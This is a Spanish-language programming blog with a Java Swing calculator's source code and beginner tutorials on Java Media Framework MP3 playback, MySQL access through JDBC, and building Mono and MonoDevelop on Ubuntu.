                    .addComponent(btnMultiplicar, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(btnSqrt, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnPercent, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(btnResultado, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
                    .addComponent(jButton19, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE))
                .addContainerGap())
        );
        jPanel3Layout.setVerticalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel3Layout.createSequentialGroup()
                        .addComponent(btnDividir, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnMultiplicar, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnResta, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnSuma, javax.swing.GroupLayout.DEFAULT_SIZE, 27, Short.MAX_VALUE))
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addComponent(btnSqrt, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnPercent, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton19, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnResultado, javax.swing.GroupLayout.DEFAULT_SIZE, 27, Short.MAX_VALUE))
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel3Layout.createSequentialGroup()
                        .addComponent(jButton6, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton10, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton14, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton22, javax.swing.GroupLayout.DEFAULT_SIZE, 27, Short.MAX_VALUE))
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addComponent(btnSiete, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnCuatro, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnUno, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnCero, javax.swing.GroupLayout.DEFAULT_SIZE, 27, Short.MAX_VALUE))
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel3Layout.createSequentialGroup()
                        .addComponent(btnOcho, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnCinco, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnDos, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton27, javax.swing.GroupLayout.DEFAULT_SIZE, 27, Short.MAX_VALUE))
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addComponent(btnNueve, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnSeis, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btnTres, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton28, javax.swing.GroupLayout.DEFAULT_SIZE, 27, Short.MAX_VALUE)))
                .addContainerGap())
        );

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addComponent(jPanel2, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addGap(20, 20, 20))
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        jMenu1.setText("Archivo");

        jMenuItem1.setText("Salir");
        jMenuItem1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem1ActionPerformed(evt);
            }
        });
        jMenu1.add(jMenuItem1);

        jMenuBar1.add(jMenu1);

        setJMenuBar(jMenuBar1);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        pack();
    }// </editor-fold>

private void formComponentResized(java.awt.event.ComponentEvent evt) {
// TODO add your handling code here:
    int z = (int) Math.round((this.jButton10.getSize().getHeight() + this.jButton10.getSize().getWidth()) / 2);
    Font f = new Font("Tahoma", 1, (z / 2));
    this.txtDatos.setFont(f);
    f = new Font("Tahoma", 0, (z / 4));
    for (Component componente : jPanel3.getComponents()) {
        componente.setFont(f);
    }
}                                     

private void btnCeroActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("0");
}                                       

private void btnUnoActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("1");
}                                      

private void btnDosActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("2");
}                                      

private void btnTresActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("3");
}                                       

private void btnCuatroActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("4");
}                                         

private void btnCincoActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("5");
}                                        

private void btnSeisActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("6");
}                                       

private void btnSieteActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("7");
}                                        

private void btnOchoActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("8");
}                                       

private void btnNueveActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setTexto("9");
}                                        

private void btnResultadoActionPerformed(java.awt.event.ActionEvent evt) {                                             

        setResultado();
        try {
            String a = miCalculadora.getResultado();
            miCalculadora.CE();
            miCalculadora.agregarABuffer(a);
        } catch (Exception ex) {
            Logger.getLogger(WCalculadora.class.getName()).log(Level.SEVERE, null, ex);
        }

        miCalculadora.setNuevoCalculo(true);

}                                            

private void btnSumaActionPerformed(java.awt.event.ActionEvent evt) {
       setOperacion('+');
}                                       

private void btnRestaActionPerformed(java.awt.event.ActionEvent evt) {
       setOperacion('-');
}                                        

private void btnMultiplicarActionPerformed(java.awt.event.ActionEvent evt) {
       setOperacion('*');
}                                              

private void btnDividirActionPerformed(java.awt.event.ActionEvent evt) {
       setOperacion('/');
}                                          

private void jButton27ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    if (!this.txtDatos.getText().contains("."))
        setTexto(".");
}                                         

private void btnSqrtActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    this.txtDatos.setText("");
    miCalculadora.CE();

}                                       

private void jButton10ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.sin(getDoubleFromTextField()).toString()));
}                                         

private void jButton6ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.raiz(getDoubleFromTextField()).toString()));
}                                        

private void jButton28ActionPerformed(java.awt.event.ActionEvent evt) {
        try {
            this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.cambioSigno()));
        } catch (Exception ex) {
           JOptionPane.showMessageDialog(null, "ERROR: "+ex.getMessage());
        }
}                                         

private void jButton19ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    setResultado();
    Double d = Double.parseDouble(this.txtDatos.getText());
        try {
            this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.invertido(d).toString()));
        } catch (Exception ex) {
            //JOptionPane.showMessageDialog(null, "ERROR: "+ex.getMessage());
        }
}                                         

private void btnPercentActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.log(getDoubleFromTextField()).toString()));
}                                          

private void jButton14ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.cos(getDoubleFromTextField()).toString()));
}                                         

private void jButton22ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.tan(getDoubleFromTextField()).toString()));
}                                         

private void jMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
    System.exit(0);
}

    /**
     * @param args the command line arguments
     */
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {

            public void run() {
                new WCalculadora().setVisible(true);
            }
        });
    }
    // Variables declaration - do not modify
    private javax.swing.JButton btnCero;
    private javax.swing.JButton btnCinco;
    private javax.swing.JButton btnCuatro;
    private javax.swing.JButton btnDividir;
    private javax.swing.JButton btnDos;
    private javax.swing.JButton btnMultiplicar;
    private javax.swing.JButton btnNueve;
    private javax.swing.JButton btnOcho;
    private javax.swing.JButton btnPercent;
    private javax.swing.JButton btnResta;
    private javax.swing.JButton btnResultado;
    private javax.swing.JButton btnSeis;
    private javax.swing.JButton btnSiete;
    private javax.swing.JButton btnSqrt;
    private javax.swing.JButton btnSuma;
    private javax.swing.JButton btnTres;
    private javax.swing.JButton btnUno;
    private javax.swing.JButton jButton10;
    private javax.swing.JButton jButton14;
    private javax.swing.JButton jButton19;
    private javax.swing.JButton jButton22;
    private javax.swing.JButton jButton27;
    private javax.swing.JButton jButton28;
    private javax.swing.JButton jButton3;
    private javax.swing.JButton jButton6;
    private javax.swing.JMenu jMenu1;
    private javax.swing.JMenuBar jMenuBar1;
    private javax.swing.JMenuItem jMenuItem1;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JPanel jPanel3;
    private javax.swing.JTextField txtDatos;
    // End of variables declaration

    private void setTexto(String string) {

        if (primeraVez){
            this.txtDatos.setText("");
            primeraVez = false;
        }
        if (miCalculadora.isNuevoCalculo()) {
            miCalculadora.vaciar();
            this.txtDatos.setText("");
            miCalculadora.setNuevoCalculo(false);
        }
        this.txtDatos.setText(miCalculadora.agregarABuffer(string));
    }
    private void setOperacion(char oper) {
        miCalculadora.setNuevoCalculo(false);
        try {
            this.txtDatos.setText(Calculadora.formatNumber(miCalculadora.setOperacion(oper)));
        } catch (Exception ex) {
            JOptionPane.showMessageDialog(null, "ERROR: "+ex.getMessage());
        }

    }
    public Double getDoubleFromTextField() {
        setResultado();
        Double d = Double.parseDouble(this.txtDatos.getText());
        return d;
    }
    public void setResultado() {
        try {
            this.txtDatos.setText(Calculadora.formatNumber(this.miCalculadora.getResultado()));
        } catch (Exception ex) {
            JOptionPane.showMessageDialog(null, "ERROR: "+ex.getMessage());
        }
    }
}

Aqui dejo el un archivo compreso con todo
Descargar:
calculadora-estebanfuentealba-src.rar

Saludos!.

FLISOL

mucho tiempo sin escribir… Dejo este flayer de El Festival Latinoamericano de Instalación de Software Libre (FLISOL) es el evento de difusión de Software Libre más grande en Latinoamérica, presente en más de 200 ciudades en toda América Latina. Se realiza desde el año 2005 y su principal objetivo es promover el uso del software libre, dando a conocer al público en general su filosofía, alcances, avances y desarrollo.

Este evento se desarrollara este sabado 25 de Abril en Universidad Andres Bello

Para inscribirse solo tienen que llenar Estos Datos, mas información visita la pagina web:

http://concepcion.flisol.cl/

Hace unos dias atrás instalé el Java Media FrameWork pensando que podria reproducir mp3s con el, pero tal fue mi sorpresa que el JMF por si solo no podia hacerlo XD . Al intentar reproducir mp3s me tiraba un error mas o menos asi

Unable to handle format: mpeglayer3, 44100.0 Hz, 16-bit, Stereo, LittleEndian, Signed, 24000.0 frame rate, FrameSize=32768 bits
Failed to realize: com.sun.media.PlaybackEngine@18e80a6
Error: Unable to realize com.sun.media.PlaybackEngine@18e80a6

Buscando una solucion encontre que tenia que descargar aparte un plugin para reproducir los mp3s ( para los interesados el plugin se llama JavaMP3plugin.zip ).

A pesar que segui todas las indicaciones para instalar ese plugin no sirvio de nada por lo que me puse a buscar por otra parte alguna solucion… y encontre esta libreria que trae los codec para poder reproducir mp3s con JMF, Su nombre es jffmpeg, Aqui pueden ver los Formatos Soportados por esta libreria. La forma de uso es muy sencilla solo descargan la ultima version del archivo jffmpeg.jar y lo agregan a su proyecto junto con el jmf.jar (Ir a este post para instar el Java Media FrameWork JMF).

Aqui tengo un ejemplo de su uso:

Paso 1

Agregan las librerias a su proyecto , Click derecho en Libraries / Add Library

Luego hacen click en Manager Libraries


Ahora Click en New Library…

Ponemos algun Nombre, yo le puse JMF

Agregamos el jmf.jar y jffmpeg.jar clickeando en Add JAR/Folder y luego clickeamos OK

Por ultimo seleccionamos nuestra libreria JMF y presionamos Add Library

Ya tenemos las librerias necesarias para reproducir los mp3s ahora vamos al codigo.
Para eso hice esta simple aplicacion de consola para que vean el funcionamiento.

Clase Main.java

package mp3player;
/**
*
* @author Esteban Fuentealba
*/
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
/* Importamos Las clases del Package Media */
import javax.media.*;
/* Tambien necesitamos importar AudioFormat del package javax.media.format para poder agregar los codecs */
import javax.media.format.AudioFormat;

public class Main {

public static void main(String[] args) {
if (args.length > 0) {
try {
/* Esta es la direccion del codec que decodifica los mp3 */
String jffmpegAudioDecoder = "net.sourceforge.jffmpeg.AudioDecoder";
/* Cargamos el codec y lo guardamos en un objeto de tipo Codec */
Codec codecAudio = (Codec) Class.forName(jffmpegAudioDecoder).newInstance();
/* Agregamos los codec al PlugInManager */
PlugInManager.addPlugIn(jffmpegAudioDecoder,
codecAudio.getSupportedInputFormats(),
new Format[]{new AudioFormat("LINEAR")},
PlugInManager.CODEC);
/* Y ahora podemos crear un objeto Player que es del JMF */
Player miPlayer = Manager.createPlayer(new URL(args[0].toString()));
/* Le ponemos Play a nuestro archivo cargado  */
miPlayer.start();
} catch (NoPlayerException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (MalformedURLException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (ClassNotFoundException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
} else {
System.out.println("ERROR: Debes pasar como parametro la direccion de un archivo mp3");
}
}
}

Modo de Uso:
Crean el Jar y desde la terminal hacen lo siguiente

java -jar < direccionDelJar > < direccionDelMp3 >

Ejemplo:

java -jar /home/esteban/NetBeansProjects/Mp3Player/dist/Mp3Player.jar http://s3.amazonaws.com/projectionist/sin-documentos.mp3

Codigo Fuente
mp3playertar:

Espero que sirva…

Saludos!

Ayer estube instalando este framework para hacer un reproductor de mp3s en Java

Lo primero es Tener la ultima version del JRE y del JDK para instalar el Java Runtime Environment abrimos una terminal y tecleamos:

PASO 1

sudo apt-get install sun-java6-jre sun-java6-plugin

Para instalar el Java Development Kit tecleamos:

sudo apt-get install sun-java6-jdk

PASO 2
Ya con eso instalado ahora es turno del Java Media Framework lo descargan desde:
http://java.sun.com/javase/technologies/desktop/media/jmf/2.1.1/download.html
lo tienen que guardar en su home
luego de haberlo descargado tecleamos en la terminal

sudo sed -i 's/tail +309/tail -n +309/g' jmf-2_1_1e-linux-i586.bin
sudo sh jmf-2_1_1e-linux-i586.bin
export JMFHOME=/home/< suUsuario >/JMF-2.1.1e
export CLASSPATH=$JMFHOME/lib/jmf.jar:.:${CLASSPATH}
export LD_LIBRARY_PATH=$JMFHOME/lib:${LD_LIBRARY_PATH}

(Cambian < suUsuario > por su usuario)

Con eso ya tenemos instalado el JMF

PD: Si les aparece errores de Video Card como:

java.lang.Error: Can’t open video card 0
java.lang.Error: Can’t open video card 1
java.lang.Error: Can’t open video card 2
java.lang.Error: Can’t open video card 3
java.lang.Error: Can’t open video card 4
java.lang.Error: Can’t open video card 5
java.lang.Error: Can’t open video card 6
java.lang.Error: Can’t open video card 7
java.lang.Error: Can’t open video card 8
java.lang.Error: Can’t open video card 9

Para esos errores deben descargar el jmf-2_1_1e-alljava.zip descomprimirlo en su carpeta home y luego hacer lo del Paso 2 .

La Libreria queda en su

home/suUsuario/JMF-2.1.1e

en mi caso:

home/esteban/JMF-2.1.1e

Saludos!

Este es un tutorial de lo que aprendi hoy xD, muestra como conectar a una base de datos (MYSQL) usando como lenguaje de programacion JAVA y como IDE NetBeans.

Primero que todo debemos instalar en nuestras máquinas MySQL , yo tengo xUbuntu asi que lo instalo abriendo una Terminal y escribiendo lo siguiente:

sudo apt-get install mysql-server mysql-client

Una vez instalado se cambia la contraseña (password), para eso tecleamos:

sudo /usr/bin/mysqladmin -u root password <tuclave>

cambiando <tuclave> por la contraseña … ejemplo:

sudo /usr/bin/mysqladmin -u root password 123456

y ya tienes instalado MySQL :D , para entrar solo teclea:

mysql -u root -p

Una vez dentro de la consola mysql podremos crear bases de datos, tablas, seleccionar, etc…
Para crear una base de datos se usa el comando

create database <nombre> ;

ejemplo:

create database test;

Para entrar a la base de datos creada usamos el comando

use <database> ;

ejemplo:

use test;

Ojo con los punto y comas “;
Ya dentro de la base de datos podremos ejecutar sentencias DDL y DML

Ahora para efecto del tutorial creamos dos tablas, una tabla alumno y otra tabla nota , cada nota tiene referenciado un rut de algun alumno.

en la misma consola escribimos:

CREATE TABLE alumno (
rut integer,
nombre varchar(100),
direccion varchar(100),
CONSTRAINT pk_alumno_rut PRIMARY KEY(rut)
);
CREATE TABLE nota (
rut integer,
nota double,
CONSTRAINT fk_nota_rut FOREIGN KEY(rut) REFERENCES alumno(rut)
);

ahora insertamos algunos datos a esas tablas

INSERT INTO alumno VALUES
(123456,"Esteban Fuentealba","Talcahuano lalal 368"),
(654321,"Juan Perez","Lalalala 87 chile"),
(47,"Homero Simpson","Avenida siempre viva,Springfield");

y por ultimo ingresamos algunas notas

INSERT INTO nota VALUES
(123456,7.0),
(47,3.5),
(654321,6.1);

Ahora, teniendo una base de datos poblada, nos vamos a netbeans y creamos un nuevo proyecto
File/New Proyect y seleccionamos Java / Java Aplication , Le ponemos cualquier nombre.

Aqui dejo el codigo comentado paso a paso:

/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/

package mysqljava;
/*
*  Importamos todas las clases el package java.sql
*/
import java.sql.*;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @author esteban
*/
public class Main {
/**
* @param args the command line arguments
*/
public static void main(String[] args)  {
/*
Declaramos una variable "con" del tipo Connection
con ello podremos conectarnos a la base de datos
*/
Connection con = null;
try {
/*
Seteamos el driver-libreria de nuestro motor que usaremos, MySQL
*/
Class.forName("com.mysql.jdbc.Driver").newInstance();
/*
Creamos la coneccion, pasamos como parametros:
* <host>/<database>
* jdbc:mysql://localhost/test
*
* <username>
* root
*
* <password>
* root
*/
con = DriverManager.getConnection("jdbc:mysql://localhost/test", "root", "root");
if (con != null) {
/*
creamos un objeto Statement , con el podremos enviar al servidor sql  consultas
*/
Statement st = con.createStatement();
/*
Ahora enviaremos una consulta para seleccionar todos los alumnos y que nota se han sacado
y lo guardaremos en un objeto del tipo ResultSet
*/
ResultSet r = st.executeQuery("SELECT a.nombre as nombre, n.nota as nota FROM alumno a,nota n WHERE n.rut = a.rut ORDER BY n.nota");
/*
Iteramos el resultado para mostrar cada fila y especificamos que columna queremos con el metodo getString o getDouble segun este en la base de datos
*/
while(r.next()) {
/*
Imprimo por consola el nombre y la nota de todos los alumnos ingresados a la base de datos
*/
System.out.println("[Alumno: "+r.getString("nombre")+"] [Nota:"+r.getDouble("nota")+"]");
}
}
} catch (InstantiationException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (ClassNotFoundException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
} catch (SQLException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
}

}

Por ultimo, falta lo mas importante, agregar a nuestro proyecto los drivers de MySQL para ser usados con JAVA, el driver (libreria) la pueden descargar desde la pagina de MySQL .

Una vez descargado el mysql-connector-java-X.X.X lo descomprimen y lo agregan al proyecto:

Click derecho en Libraries / Add Jar-Folder y buscamos el archivo que descomprimimos , en mi caso agregue mysql-connector-java-5.1.7-bin.jar

Compilamos , Corremos la aplicacion y el resultado es algo como esto

init:
deps-jar:
compile:
run:
[Alumno: Homero Simpson] [Nota:3.5]
[Alumno: Juan Perez] [Nota:6.1]
[Alumno: Esteban Fuentealba] [Nota:7.0]
BUILD SUCCESSFUL (total time: 10 seconds)

Los alumnos ordenados por nota de menor a mayor xD
Descargar Codigo Fuente :
mysqljava

Espero que les sirva,

Saludos!.

hace unas 3 semanas saque de mi ordenador el sistema operativo windows xD , por lo que no he podido tomar el codigo de mp3spider , pero empece a pasar el codigo a mono, haciendo varias mejoras y cambiando algunas cosas.

Hace mas menos una semana empece con ello y ya tengo algo armado

ver en tamaño grande

Bueno eso será mas menos la pantalla principal, planeo generar una gran base de datos de links y playlist de usuarios del buscador.

Compilado con mono2.2 , aunque he encontrado algunos fallos de mono =/

El codigo por ahora no lo liberare porque quiero seguir aprendiendo por mis medios , pero pronto quizas lo libere para que hagan de este programa uno mejor aun.

Saludos!

PD: GMP3 es interesante igual xDDDDDDDDD

Despues de muchos errores pude instalar mono 2.2 y mono develop 2.0, despues de mucho buscar soluciones les dejo la forma en que yo lo hice xD.

Paso 1

Primero que todo deben instalar todas las actualizaciones pendiente, tambien necesitarán descargar estos paquetes y librerias para compilar , para eso escriban en terminal:

sudo apt-get install build-essential bison pkg-config libglib2.0-dev bzip2 gawk libpng12-dev libexif-dev libx11-dev libjpeg62-dev libfontconfig1-dev libtiff4-dev libgif-dev libxrender-dev intltool libgtk2.0-cil libglade2.0-cil libpango1.0-dev libatk1.0-dev libgtk2.0-dev

les preguntara:
¿Desea continuar [S/n]?
y escriben S

Paso 2

Descargar la ultima version de mono

wget http://ftp.novell.com/pub/mono/sources/mono/mono-2.2.tar.bz2

Desempaquetar y compilar

tar jxf /home/esteban/Desktop/mono-2.2.tar.bz2
cd /home/esteban/Desktop/mono-2.2
./configure --prefix=/usr
sudo make && sudo make install

Este es el paso mas tedioso de la instalacion, demorará muchos tiempo ,
Puede tardar mucho en :
MDOC    [net_2_0] netdocs.tree
Pero es normal.

Paso 3

Comprobar la version de Mono con el siguiente comando

mono --version

Nos devolverá algo asi:

Mono JIT compiler version 2.2 (tarball mié mar  4 00:01:12 CLST 2009)
Copyright (C) 2002-2008 Novell, Inc and Contributors. www.mono-project.com
TLS:           __thread
GC:            Included Boehm (with typed GC)
SIGSEGV:       altstack
Notifications: epoll
Architecture:  x86
Disabled:      none

Paso 4

instalar libdigiplus

sudo apt-get install libgdiplus

Paso 5

Ahora instalar monoDevelop, para eso Descarguen la ultima version de mono-addins

wget http://ftp.novell.com/pub/mono/sources/mono-addins/mono-addins-0.4.zip
tar xjf  /home/esteban/Desktop/mono-addins-0.4.zip
cd /home/esteban/Desktop/mono-addins-0.4
./configure --prefix=/usr
sudo make && sudo make install

Paso 6

Instalar la ultima version de gtk#

wget http://ftp.novell.com/pub/mono/sources/gtk-sharp212/gtk-sharp-2.12.7.tar.bz2
tar jxf /home/esteban/Desktop/gtk-sharp-2.12.7.tar.bz2
cd /home/esteban/Desktop/gtk-sharp-2.12.7
./configure --prefix=/usr
sudo make && sudo make install

Paso 7

Instalar gnome sharp

sudo apt-get install libgnome2.0-cil

Paso 8
Descargar e instalar MonoDevelop 1.9.2

wget http://ftp.novell.com/pub/mono/sources/monodevelop/monodevelop-1.9.2.tar.bz2
tar jxf /home/esteban/Desktop/monodevelop-1.9.2
cd /home/esteban/Desktop/monodevelop-1.9.2
./configure --prefix=/usr
sudo make && sudo make install

Listo ya esta instalado Mono 2.2 y MonoDevelop 2.0 Beta 1 (1.9.2) EN XUbuntu, espero que les sirva

Saludos!

Los campos con (*) son Obligatorios.

Los campos con (*) son Obligatorios.